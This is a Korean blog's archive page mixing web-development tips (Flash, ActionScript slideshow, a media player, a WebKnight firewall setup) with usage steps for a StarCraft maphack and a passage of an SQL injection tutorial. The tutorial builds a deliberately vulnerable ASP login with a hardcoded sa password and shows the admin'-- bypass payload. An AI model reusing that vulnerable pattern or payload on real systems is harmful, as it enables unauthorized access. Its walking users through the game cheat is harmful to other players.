Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2008/06/04 [팁] 플래시 무비에 레이어 올리기
  2. 2008/06/04 [팁] 플래쉬 무비 전체 화면으로 뜨게 하는 fscommand
  3. 2008/06/04 쇼핑몰에서 많이 쓰는 자동 슬라이드
  4. 2008/06/04 드림위버에서 html소스를 최적화시키기
  5. 2008/06/04 ip 조회하는 스크립트
  6. 2008/06/04 다모임 - 플레이어 입니다(wmv) 1
  7. 2008/06/04 다운로드 가속기~Orbit Downloader~무설치
  8. 2008/06/03 스타 맵핵 1.15.2 2
  9. 2008/06/03 공개웹방화벽을 이용한 홈페이지 보안 [웹나이트 -Webknight]
  10. 2008/05/19 SQL INjection 1
  11. 2008/04/30 Windows Server 2003 CD 키 생성기
  12. 2008/04/21 호랑이의 고독.. ..
  13. 2008/04/17 삼국지 - 인생전략- 오디세이 책을 보면서..
  14. 2008/03/26 카네기의 한마디 부자 아버지
  15. 2008/03/26 짜증나는 핸드폰 스팸 메시지
  16. 2008/03/26 자바스크립트 라이브러리 요약
  17. 2008/03/26 SWFUpload - 다중 업로드 1
  18. 2008/03/19 자동고스트부팅v11.0.2.1573
  19. 2008/03/05 믿음 + 재미 = (주)오픈코리아 정답인가 ? 1
  20. 2008/03/05 한국 부자들이 철저히 지키는 8가지 원칙
  21. 2008/03/05 원수는 모래에 새기고 은혜는 돌에 새겨라
  22. 2008/03/05 고난은 신의 선물
  23. 2008/03/05 성공하는 전략, 실패하는 전략
  24. 2008/03/05 미래가 없는 기업
  25. 2008/03/05 최고경영진의 변혁과 기업문화
  26. 2008/03/05 입을 다물 기회를 절대 놓치지 마라
  27. 2008/02/21 ASP 함수 모음
  28. 2008/02/21 SQL Server에서 사용할 수 있는 서버측 페이징기법
  29. 2008/02/21 아바타를 꾸미는 소스!!
  30. 2008/02/21 ASP페이지를 정적인 HTML파일로 만들기
HTML 소스에 보면 플래시 파일의 소스가 있을 겁니다.
자세히 보시면 <param> 이 설정된 부분에 다음과 같은 내용을 한 줄 추가 합니다.
<param name="wmode" value="transparent">

위의 태그는 플래시의 배경을 투명하게 해주는 태그입니다.
그런다음 레이어를 설정합니다.
<div> 에서 z-index를 swf 파일보다는 높게 잡아주면 됩니다.
z-index는 숫자가 높으면 높을수록 <div> 중에서 상단에 놓이게 됩니다.
swf 파일을 레이어삽입하지 않고 테이블에 삽입한다면 swf 파일은 z-index는 0 으로 잡힙니다.
2008/06/04 15:37 2008/06/04 15:37
fscommand ("fullscreen", "true");
fscommand ("allowscale", "false");
fscommand ("showmenu", "false");

첫프레임 액션에... 삽입
2008/06/04 15:36 2008/06/04 15:36

쇼핑몰 같은데서 많이 볼 수 있는 슬라이드
 Tween클래스가 있으니...enterFrame을 쓸 필요가 없어지네요.
 
import mx.transitions.Tween;
import mx.transitions.easing.*;
Stage.scaleMode = "noScale";
var container_mc:MovieClip = this.createEmptyMovieClip("container_mc", 0);
var image_mc:MovieClip = container_mc.createEmptyMovieClip("image_mc", 0);
var photo0:MovieClip = image_mc.createEmptyMovieClip("photo0", 4);
var photo1:MovieClip = image_mc.createEmptyMovieClip("photo1", 3);
var photo2:MovieClip = image_mc.createEmptyMovieClip("photo2", 2);
var photo3:MovieClip = image_mc.createEmptyMovieClip("photo3", 1);
var photo4:MovieClip = image_mc.createEmptyMovieClip("photo4", 0);
photo0.loadMovie("./photo/1.jpg");
photo1.loadMovie("./photo/2.jpg");
photo2.loadMovie("./photo/3.jpg");
photo3.loadMovie("./photo/4.jpg");
photo4.loadMovie("./photo/5.jpg");
var url_0:String = "http://www.naver.com";
var url_1:String = "http://www.daum.net";
var url_2:String = "http://www.empas.com";
var url_3:String = "http://www.yahoo.co.kr";
var url_4:String = "http://www.msn.co.kr";

var button_mc:MovieClip = container_mc.createEmptyMovieClip("button_mc", 1);
var bt0:MovieClip = button_mc.attachMovie("bt1", "bt0", 0, {_x:0, _y:0});
var bt1:MovieClip = button_mc.attachMovie("bt2", "bt1", 1, {_x:0, _y:27});
var bt2:MovieClip = button_mc.attachMovie("bt3", "bt2", 2, {_x:0, _y:54});
var bt3:MovieClip = button_mc.attachMovie("bt4", "bt3", 3, {_x:0, _y:81});
var bt4:MovieClip = button_mc.attachMovie("bt5", "bt4", 4, {_x:0, _y:108});
button_mc._x = 382;
button_mc._y = 22;

var photo_num:Number = 5; // 사진갯수
var WhoIsOn:Number = 0; // 현재의 위치를 나타내는 값
var slideTimer:Number; // 자동슬라이드를 위한 interval값
var interval_time:Number = 3000; // 슬라이드 지연 시간, 기본 3초설정
 

/* 자동 슬라이드 -------------------------------------------------*/
function makeSlide(){
 WhoIsOn = (WhoIsOn+1)%photo_num;
 var depth_num:Number = photo_num - 1;
 var target_mc:MovieClip = image_mc.getInstanceAtDepth(depth_num);
 
 image_mc["photo" + WhoIsOn].swapDepths(target_mc);
 var tw1:Tween = new Tween(image_mc["photo" + WhoIsOn], "_alpha", Strong.easeOut, 0, 100, 1, true);
 var tw2:Tween = new Tween(target_mc, "_alpha", Strong.easeOut, 100, 0, 1, true);
 
 for(var i:Number = 0; i < photo_num; i++){
  button_mc["bt"+i%photo_num].gotoAndStop(1);
 }
 button_mc["bt"+WhoIsOn%photo_num].gotoAndStop(2);
}

/* 버튼에 마우스 오버 시-------------------------------------------*/
function showPhoto(){
 clearInterval(slideTimer);
 var depth_num:Number = photo_num - 1;
 var target_mc:MovieClip = image_mc.getInstanceAtDepth(depth_num);
 
 /*depth 테스트
 trace("depth 0 =>" + image_mc.getInstanceAtDepth(0));
 trace("depth 1 =>" + image_mc.getInstanceAtDepth(1));
 trace("depth 2 =>" + image_mc.getInstanceAtDepth(2));
 trace("depth 3 =>" + image_mc.getInstanceAtDepth(3));
 trace("depth 4 =>" + image_mc.getInstanceAtDepth(4));
 trace("-------------------------------------------");
 */
 image_mc["photo" + WhoIsOn].swapDepths(target_mc);
 var tw1:Tween = new Tween(image_mc["photo" + WhoIsOn], "_alpha", Strong.easeOut, 0, 100, 1, true);
 var tw2:Tween = new Tween(target_mc, "_alpha", Strong.easeOut, 100, 0, 1, true);
}
/* 버튼에 마우스 오버 시 showPhoto 함수를 실행-------------*/
function buttonAction(){
 for(var i:Number = 0; i < photo_num; i++){
  button_mc["bt"+i].onRollOver = function(){
   var my_num:Number = Number(this._name.substring(2));
   
   for(var j:Number = 0; j < photo_num; j++){
    this._parent["bt"+j].gotoAndStop(1);
   }
   this.gotoAndStop(2);
   
   if(_root.WhoIsOn != my_num){
    _root.WhoIsOn = Number(this._name.substring(2));
    _root.showPhoto();
   }
  }
 
  button_mc["bt"+i].onRelease = function(){
   var num:Number = this._name.substring(2);
   getURL(_root["url_" + num], "_parent");
  }
 }
 image_mc.onRollOver = function(){
  clearInterval(_root.slideTimer);
 }
 image_mc.onRollOut = function(){
  _root.slideTimer = setInterval(_root, "makeSlide", _root.interval_time);
 }
 
 image_mc.onRelease = function(){
  getURL(_root["url_" + WhoIsOn], "_parent");
 }
}
/* 처음 시작할 때의 설정----------------------------*/
function initSlide(){
 for(var i:Number = 0; i < photo_num; i++){
  image_mc["photo" + i]._alpha = 0;
 }
 image_mc.photo0._alpha = 100;
 button_mc.bt0.gotoAndStop(2);
 
 var tw1:Tween = new Tween(image_mc, "_alpha", Strong.easeOut, 0, 100, 2, true);
 tw1.onMotionFinished = function(){
  _root.slideTimer = setInterval(_root, "makeSlide", _root.interval_time);
 }
 buttonAction();
}
initSlide();
 
 
 

ver 8 에서만 가능합니다 -ㅅ-);
----------------------------------------------------------------------
 
 
 
 
2008/06/04 15:29 2008/06/04 15:29

상단의 Commands 메뉴에서 Clean Up HTML... 이란 메뉴를 클릭하시고

체크상자를 선택하고 OK 버튼을 누르시면 됩니다.

또한 외부 프로그램으로서 "Shrinker Light" v2.60(프리웨어) 와 "HTMLZip" v1.06(세어웨어)

두가지 정도로 나눌수 있겠는데요.

각종 자료실에서 구하실수 있습니다.(심파일, 앳파일)

2008/06/04 15:26 2008/06/04 15:26
<head>
<script language="javascript">
function check_ip(ipval){
    document.isp_form.action='http://whois.nic.or.kr/result.php';
    document.isp_form.method='post';
    document.isp_form.target='_blank';
    document.isp_form.domain_name.value = ipval;
    document.isp_form.submit();
    document.isp_form.action='';
    document.isp_form.method='';
    document.isp_form.target='';
}
</script>
</head>

<body>
<form name="isp_form"><input type=hidden name="domain_name" value=""></form>

<a href='javascript:void(0)' OnClick="check_ip('아이피주소')">아이피주소</a>
</body>
2008/06/04 15:19 2008/06/04 15:19
발췌 : 다모임

                                                                        
<html>
<head>
<title>http://www.blueb.co.kr</title>

<script language="javascript">
<!--
function runObj(string)
{
    if(string != undefined) {
        document.write(string);
    }
}


    function onMoviePlay()    
    {
        var Player = document.all["moviePlayer"];

        if (Player.controls.isAvailable('Play'))    {
            Player.controls.play();
            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_17.gif";
            document.all.paly_img.alt = "일시정지";
        } else {
            Player.controls.Pause();
            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_17.gif";
            document.all.paly_img.alt = "재생";
        }
    }

    function onMovieStop()    {

        var Player = document.all["moviePlayer"];

        if (Player.controls.isAvailable('Stop'))    {
            Player.controls.stop();

            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_17.gif";
        }

    }

    function onMovieSoundoff()    {
        var Player = document.all["moviePlayer"];
        if (Player.settings.volume == 0 ) {
            Player.settings.volume =  document.soundForm.volumnum.value ;
            document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif";
        } else {
            document.soundForm.volumnum.value = Player.settings.volume;
            Player.settings.volume =  0 ;
            document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_10.gif";
        }
    }

    function onMovieExpand()    {
        FullSize();
    }

    var processTime;

    function onMovieProcess()    {
   
        try        {

            var Player = document.all["moviePlayer"];
            var p;

            if( "object" != typeof(Player))
                return;

            if(0 > Player.controls.currentPosition)    {
                p = 0;
            }
            else    {
                p = parseFloat(parseInt(Player.controls.currentPosition) * 370 / parseInt(Player.currentMedia.duration));
            }

            if (0 < p && "undefined" != typeof(document.all.musicprocess))
            {
                document.all.musicprocess.style.display = '';
                document.all.musicprocess.style.width = p * ((100-19)/100) ;
            }

            processTime = setTimeout('onMovieProcess()', 2000);
       
        }
        catch(e)    {
            if(processTime > 0)    clearTimeout(processTime);
            return;
        }
    }

    function onInitVol()    {
       
        ex = event.clientX;
        ey = event.clientY;

        volpx = vol.style.pixelLeft;
        volpy = vol.style.pixelTop;

        bDragCheck = true;

        document.onmousemove = onVolumnControl;
        document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif";

        if (document.all) {
            document.onmouseup = new Function('bDragCheck=false');
        }
    }

    function onVolumnControl() {

        if(bDragCheck)    {

            var mPos = volpx + event.clientX - ex;

            if (mPos > -1 && mPos < 100) {
           
                document.all.vol.style.pixelLeft = mPos;

                var soundness = mPos - 14;

                if (-14 < soundness)    {
                   
                    var Player = document.all["moviePlayer"];
                    Player.settings.volume = 10 + (soundness);

                }
                else if (-14 > soundness ) {

                    var Player = document.all["moviePlayer"];
                    Player.settings.volume =  0 ;

                }
            }

            return false;
        }
    }

    var idI;

    function onMovieProgress()    {

        var Player = document.all["moviePlayer"];
        var cnt = Player.network.bufferingProgress;
       
        if(cnt >= 100)    {
            window.clearInterval(idI);
        }
    }
//-->
</script>

<SCRIPT FOR=moviePlayer EVENT=buffering(Start)>
   if (true == Start){
         idI = window.setInterval("onMovieProgress()", 1000);
   }
   else{
      window.clearInterval(idI);
   }
</SCRIPT>

<Script Language="vbscript">
Sub ExpandSize()    
    moviePlayer.width    = moviePlayer.width + 100
    moviePlayer.height    = moviePlayer.height + 75
End Sub

Sub FullSize()    
    if moviePlayer.playState = 3 then
        moviePlayer.fullScreen = "true"
    end if        
End Sub
</script>
</head>

<body onload="onMovieProcess();">

<table width="330" height="299" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td height="255" bgcolor="#000000">
                <div id='movie' name='movie' STYLE='Position:relative;Left:0px;Top:0px;'>
                <SCRIPT LANGUAGE="JavaScript">
                    <!--
                        var strObj = "";
                        strObj += "<object ID=\"moviePlayer\" classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\" codebase=\"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701\" standby=\"Loading Microsoft Windows Media Player components...\" TYPE=\"application/x-oleobject\" VIEWASTEXT width=\"330\" height=\"255\">\n";
                        strObj += "<param name=\"URL\" value=\"http://www.blueb.co.kr/SRC/javascript/image5/movie/MVI_9071.wmv\">\n";  //동영상주소
                        strObj += "<param name=\"InvokeURLs\" value=\"false\">\n";
                        strObj += "<param name=\"AllowChangeDisplaySize\" value=\"true\">\n";
                        strObj += "<param name=\"AnimationAtStart\" value=\"1\">\n";
                        strObj += "<param name=\"AutoRewind\" value=\"false\">\n";
                        strObj += "<param name=\"CurrentPosition\" value=\"0\">\n";
                        strObj += "<param name=\"SetCurrentEntry\" value=\"1\">\n";
                        strObj += "<param name=\"ClickToPlay\" value=\"false\">\n";
                        strObj += "<param name=\"AllowScan\" value=\"true\">\n";
                        strObj += "<param name=\"AutoSize\" value=\"true\">\n";
                        strObj += "<param name=\"AutoResize\" value=\"1\">\n";                                        
                        strObj += "<param name=\"AutoStart\" value=\"false\">\n";                                        
                        strObj += "<param name=\"Balance\" value=\"0\">\n";
                        strObj += "<param name=\"BufferingTime\" value=\"-1\">\n";
                        strObj += "<param name=\"CursorType\" value=\"0\">\n";
                        strObj += "<param name=\"CurrentMarker\" value=\"0\">\n";
                        strObj += "<param name=\"DisplayBackColor\" value=\"0\">\n";
                        strObj += "<param name=\"DisplayForeColor\" value=\"16777215\">\n";
                        strObj += "<param name=\"DisplayMode\" value=\"2\">\n";
                        strObj += "<param name=\"DisplaySize\" value=\"4\">\n";
                        strObj += "<param name=\"uiMode\" value=\"none\">\n";
                        strObj += "<param name=\"EnableContextMenu\" value=\"0\">\n";
                        strObj += "<param name=\"EnableFullScreenControls\" value=\"true\">\n";
                        strObj += "<param name=\"fullScreen\" value=\"false\">\n";                                        
                        strObj += "<param name=\"PreviewMode\" value=\"0\">\n";                                        
                        strObj += "<param name=\"Rate\" value=\"1\">\n";                                        
                        strObj += "<param name=\"SelectionStart\" value=\"-1\">\n";
                        strObj += "<param name=\"SelectionEnd\" value=\"-1\">\n";
                        strObj += "<param name=\"SendOpenStateChangeEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendWarningEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendErrorEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendKeyboardEvents\" value=\"0\">\n";                                        
                        strObj += "<param name=\"SendPlayStateChangeEvents\" value=\"true\">\n";
                        strObj += "<param name=\"ShowAudioControls\" value=\"false\">\n";                
                        strObj += "<param name=\"ShowCaptioning\" value=\"false\">\n";
                        strObj += "<param name=\"ShowControls\" value=\"false\">\n";                                        
                        strObj += "<param name=\"ShowDisplay\" value=\"false\">\n";
                        strObj += "<param name=\"ShowGotoBar\" value=\"false\">\n";                                        
                        strObj += "<param name=\"ShowPositionControls\" value=\"false\">\n";
                        strObj += "<param name=\"ShowStatusBar\" value=\"false\">\n";
                        strObj += "<param name=\"ShowTracker\" value=\"false\">\n";
                        strObj += "<param name=\"TransparentAtStart\" value=\"false\">\n";
                        strObj += "<param name=\"VideoBorderWidth\" value=\"0\">\n";
                        strObj += "<param name=\"VideoBorderColor\" value=\"0\">\n";
                        strObj += "<param name=\"VideoBorder3D\" value=\"0\">\n";
                        strObj += "<param name=\"Volume\" value=\"60\">\n";
                        strObj += "<param name=\"WindowlessVideo\" value=\"false\">\n";            
                        strObj += "<param name=\"EnablePositionControls\" value=\"true\">\n";
                        strObj += "<param name=\"EnableTracker\" value=\"true\">\n";
                        strObj += "<param name=\"Language\" value=\"-1\">\n";
                        strObj += "<param name=\"Mute\" value=\"false\">\n";
                        strObj += "<param name=\"PlayCount\" value=\"0\">\n";            
                        strObj += "<param name=\"SendWarningEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendErrorEvents\" value=\"true\">\n";                    
                        strObj += "<param name=\"SendMouseClickEvents\" value=\"true\">\n";
                        strObj += "<param name=\"EnableContextMenu\" value=\"true\">\n";
                        strObj += "</object>\n";

                        runObj(strObj);
                    //-->
                    </SCRIPT>
                    <script language="javascript">
                    function check_media_player_version() {
                        var version = "6.4";
                        if (typeof(moviePlayer) == "object" &&
                            typeof(moviePlayer.versionInfo) != "undefined")
                        {
                            var version = "" + moviePlayer.versionInfo;
                            var version_array = version.split(".");
                            if (version_array.length >= 1 && +version_array[0] >= 8)
                            {
                                moviePlayer.controls.play();
                                return;
                            }
                        }

                        if (true == confirm2(
                            "</b>미디어 플레이어 버전이 낮아<br>"+
                            "동영상재생시 문제가 발생할 수 있습니다.<br>"+
                            "Windows Media Player를<br>"+
                            "<b>9.0 이상</b>으로 업데이트 해주세요.<br>"+
                            "현재 버전은 <b>"+version+"</b>입니다.<br>"+
                            "예를 누르시면 다운로드 페이지로 이동합니다.<br><br>"+
                            "미디어 플레이어 실행후<br>"+
                            "<b>도움말 > 플레이어 업그레이드 확인</b> 메뉴로<br>"+
                            "최신버전으로 업그레이드가 가능합니다."))
                        {
                            window.open("http://www.microsoft.com/windows/windowsmedia/download/default.asp?displang=ko", "_blank");
                        }

                        //moviePlayer.controls.play();
                    }
                    check_media_player_version();
                    </script>
                </div>
    </td>
  </tr>
  <tr>
    <td height="45" valign="bottom" bgcolor="#f6f6f6">
    <table width="330" height="44" border="0" cellpadding="0" cellspacing="0" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_back.gif">
      <tr>
        <td valign="top" style="padding-top:2px; padding-left:5px; padding-right:5px; ">
        <table width="100%" height="42"  border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td height="10" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_03.gif">
            <!--로딩 /배경/ 테이블 시작 -->
            <table width="100%"  border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="4"></td>
                <td>
                <table width="100%" border="0"  cellspacing="0" cellpadding="0">
                  <tr>
                    <td><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_04.gif" height="10" id='musicprocess' style='display:none'><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_05.gif" width="15" height="10" border="0"></td>
                  </tr>
                </table>
                </td>
                <td width="4"></td>
              </tr>
            </table>
            <!--로딩 /배경/ 테이블 끝-->
              </td>
            </tr>
            <tr>
              <td height="32" valign="bottom"><!-- 플레이 바 하단 테이블 시작  -->
                  <table width="100%" height="29"  border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <td valign="top"><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/blank.gif" width="65" height="11" hspace="6" vspace="6" border="0"></td>
                      <td width="126" valign="top" style="padding-top:2px; "><!--사운드 조정 전체 테이블 시작 -->
                          <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                          <form name="soundForm">
                          <input type="hidden" name="volumnum" size="10">
                            <tr>
                              <td width="21">
                                <!--사운드 버튼 / 음소거 버튼 movie_player_bt_10.gif -->
                                <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif" width="21" height="21" border="0" style="cursor:hand;" onclick="onMovieSoundoff();" name="soryButton"></td>
                              <td background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_16.gif"><!--음향 크기 /배경/ 테이블 시작-->
                                  <table width="100%" height="12"  border="0" cellpadding="0" cellspacing="0">
                                    <tr>
                                      <td width="2"></td>
                                      <td><!--음향 크기 /활성화/ 테이블 시작-->
                                        <div ID='vol' NAME='vol' STYLE='Position: relative; Left:60px; Top:0px;'>
                                          <table width="9" border="0" cellspacing="0" cellpadding="0">
                                            <tr onMousedown='javascript:onInitVol();' style='cursor:hand'>
                                              <td background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_25.gif"><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/blank.gif" width="1" height="1"></td>
                                              <td><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_26.gif" name="bu08" width="9" height="13" border="0" style="cursor:hand;"></td>
                                            </tr>
                                          </table>
                                        </div>
                                          <!--음향 크기 /활성화/ 테이블 끝-->
                                      </td>
                                      <td width="2"></td>
                                    </tr>
                                  </table>
                                  <!--음향 크기 /배경/ 테이블 끝-->
                              </td>
                            </tr>
                            </form>
                          </table>
                          <!-- 사운드 조정 전체 테이블 끝-->
                      </td>
                      <td width="13"></td>
                      <td width="72" align="center" valign="bottom" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_07.gif"><table width="100%"  border="0" cellspacing="0" cellpadding="0">
                        <tr align="center">
                          <td width="50%">
                          <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_17.gif" width="26" height="24" vspace="2" border="0" align="absbottom" style="cursor:hand;" onclick="onMoviePlay()" name="paly_img"></td>
                          <td width="50%">
                          <!-- 정지버튼 -->
                          <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_19.gif" width="26" height="24" vspace="2" border="0" style="cursor:hand;" onclick="onMovieStop();"></td>
                        </tr>
                      </table></td>
                      <td width="4"></td>
                    </tr>
                  </table>
                  <!--플레이 바 하단 테이블 끝 --></td>
            </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>
2008/06/04 15:16 2008/06/04 15:16
사용자 삽입 이미지
2008/06/04 12:41 2008/06/04 12:41

 스타를 실행 베틀넷을 먼저 접속해야함.

2. 압축을 푼다.

3. 알트+tap윈도우로 나와서 아이콘 클릭

영어가 뜰꺼다.

5. 가운데 확인? 뜨면 스타로 다시 들어간다.

6. 다시 스타로 돌아가서 방을 만든후 게임한판을한다(컴터랑 첫게임필수).

7. 게임을 시작하면  insert 버튼을 2번 누른다. 그러면 화면이 다 보입니다.

홈피에 들어가서 게시판에 스타맵핵에 들어 가신후..

스타맵핵 최신 폴더에 있습니다.

사용 방법은 아시죠 ?

참고로 컴터가 xp인데니다.!!!!!!!

사용방법은

1. 스타를 실행 베틀넷을 먼저 접속해야함.

2. 압축을 푼다.

3. 알트+tap윈도우로 나와서 아이콘 클릭

영어가 뜰꺼다.

5. 가운데 확인? 뜨면 스타로 다시 들어간다.

6. 다시 스타로 돌아가서 방을 만든후 게임한판을한다(컴터랑 첫게임필수).

7. 게임을 시작하면  insert 버튼을 2번 누른다. 그러면 화면이 다 보입니다. ( f7을 눌러도 보입니다.)
 
누구던 욕하진 마세요.

2008/06/03 21:54 2008/06/03 21:54
공개웹방화벽 WebKnight 를 이용한 홈페이지 보안에 대해 설명을 드리도록 하겠습니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버

로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따

라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜

준다. 이러한 룰은 정기적인 업데이트가 필요한 공격 패턴 DB에 의존하지 않고 SQL Injection, 디렉

토리 traversal, 문자 인코딩 공격 등과 같이 각 공격의 특징적인 키워드를 이용한 보안필터 사용으로

패턴 업데이트를 최소화하고 있다. 이러한 방법은 알려진 공격 뿐만 아니라 알려지지 않은 공격으로

부터도 웹서버를 보호할 수 있습니다.


먼저 AQTRONIX Webknight.zip 파일을 다운 받습니다.


AQTRONIX Webknight.zip  파일은 본인이 아티보드로 프로젝트를 여러번 하면서

아티보드 에 맞도록 설정한 파일입니다.
(설정 하는 부분이 나름 어려워)

C:\Program Files\AQTRONIX Webknight
이곳에 압축을 푼다

LogFiles, :로그 폴더
Config.exe, :설정파일
denied.htm,
Loaded.xml,
LogAnalysis.exe, :로그 뷰어
readme.htm,
robots.txt, :검색로봇 관련
Robots.xml,
WebKnight.dll, :IIS 로드
WebKnight.xml

폴더 및 파일이 있습니다.

자 이제 윈도우 2003 서버 기준으로 - 인터넷 정보 서비스 (IIS) 관리를 실행 시키고


/웹사이트/ 오른쪽마우스/속성클릭/ - ISAPI필터 클릭/ 우측 - 추가 클릭

필터 이름에 WEBARTY

실행파일에 C:\Program Files\AQTRONIX Webknight\WebKnight.dll 삽입

서비스 탭에서 /격리모드에 IIS 5.0 격리 모드에서 WWW 서비스 실행 (I) 채크 하시고

IIS 다시 시작 하시면 정상 작동 합니다.

격리모드 채크 안하면 오류가 날수 있으므로 각별히 신경 써야 합니다.

-아래-

관련 정보
http://www.krcert.or.kr/firewall2/index2.jsp

설치 메뉴얼 http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=11

원본 파일. :


동영상 메뉴얼
http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=13

참고 하세요.

그럼 오늘도 즐겁고 행복한 하루되세요
2008/06/03 21:49 2008/06/03 21:49

▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등

여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다
.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히

수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤

적절한 대응책에 대해 알아 본다.

☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다

- LoginForm.asp -
<html>

  <head>

  <title>SQLInjection Demo</title>   

  <script language="javascript">

     function CheckForm(){

       form = document.LoginForm;

       if(form.MemberID.value.length < 1 ){

         alert("아이디 입력하쇼");

         form.MemberID.focus();

         return false;

       }

       if(form.Password.value.length < 1 ){

         alert("비밀번호 입력하쇼");

         form.Password.focus();

         return false;

       }

       return true;

     }

  </script>

  </head>

  <body>   

  <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

     <table border=1 width=500>

       <tr>

         <td width=100>아이디</td>

         <td>

           <input type="text" name="MemberID" size="15">

         </td>

       </tr>

       <tr>

         <td>비밀번호</td>

         <td>

           <input type="text" name="Password" size="40">

         </td>

       </tr>

       <tr align=center>

         <td colspan="2">

           <input type="submit" value=" 로그인 ">        

        </td>

       </tr>

     </table>     

  </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

  alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

  history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

   

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

  Session("MemberID") = Rs(0)

  Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다

  Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


2.
데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성
  Tbl_Members
테이블 스키마

            MemberID             varchar   20          0

            Password            varchar   20          0

            Name      varchar   50          0

            Age        int          4            0


 
아래와 같이 데이터를 삽입해 둔다

            admin     haha      관리자    30

            test        kaka       테스트맨              31

            babo      huk        바보              32


이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.


☞ 공격1> 전형적인 공격방법
1.
관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
 
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)

-
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

  (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
 
응용프로그램의 동적쿼리 예시 :
 
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

 
쿼리가 아래와 같았다.
  (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
  SQL = "Select * From Tbl_Members
        Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"


사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도

삽입값 :  admin’--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '
아무거나
'
결과
:
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다
.
admin
